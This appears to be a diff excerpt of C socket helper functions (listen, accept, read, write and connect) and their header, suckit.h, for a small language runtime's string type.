#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include "rt_api.h"
int create_socket_fd(int port) {
int server_fd;
struct sockaddr_in address;
int opt = 1;
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
perror("socket failed");
exit(EXIT_FAILURE);
}
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
perror("setsockopt SO_REUSEADDR");
exit(EXIT_FAILURE);
}
#ifdef SO_REUSEPORT
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
perror("setsockopt SO_REUSEPORT");
exit(EXIT_FAILURE);
}
#endif
memset(&address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(port);
if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0) {
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(server_fd, 3) < 0) {
perror("listen");
exit(EXIT_FAILURE);
}
return server_fd;
}
int accept_socket(int fd) {
int server_fd = fd;
struct sockaddr_in client_addr;
socklen_t addrlen = sizeof(client_addr);
int new_socket = accept(server_fd, (struct sockaddr*)&client_addr, &addrlen);
if (new_socket < 0) {
perror("accept");
exit(EXIT_FAILURE);
}
return new_socket;
}
void write_string(int socket, TString data) {
char* datastring = (char*) data->body;
write(socket, datastring, strlen(datastring));
}
void close_socket(int socket){
close(socket);
}
TString read_to_string(int socket, int bytes) {
char* buffer = malloc(bytes + 1);
int bytes_read = read(socket, buffer, bytes);
if(bytes_read < 0) {
bytes_read = 0;
}
TString string = tri_newString(bytes_read, bytes_read, buffer);
free(buffer);
return string;
}
int connect_socket(TString host, int port) {
char* chost = (char*) host->body;
struct addrinfo hints;
struct addrinfo* res = NULL;
char portstr[16];
snprintf(portstr, sizeof(portstr), "%d", port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
int gai = getaddrinfo(chost, portstr, &hints, &res);
if (gai != 0) {
perror("getaddrinfo");
return -1;
}
int sockfd = -1;
for (struct addrinfo* p = res; p != NULL; p = p->ai_next) {
sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if (sockfd < 0) continue;
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == 0) {
break; // connected
}
close(sockfd);
sockfd = -1;
}
freeaddrinfo(res);
return sockfd;
}

13
си/suckit.h Normal file
View File

@@ -0,0 +1,13 @@
#ifndef SUCKIT_H
#define SUCKIT_H
#include "rt_api.h"
int create_socket_fd(int port);
int accept_socket(int fd);
void write_string(int socket, TString data);
void close_socket(int socket);
TString read_to_string(int socket, int bytes);
int connect_socket(TString host, int port);
#endif // SUCKIT_H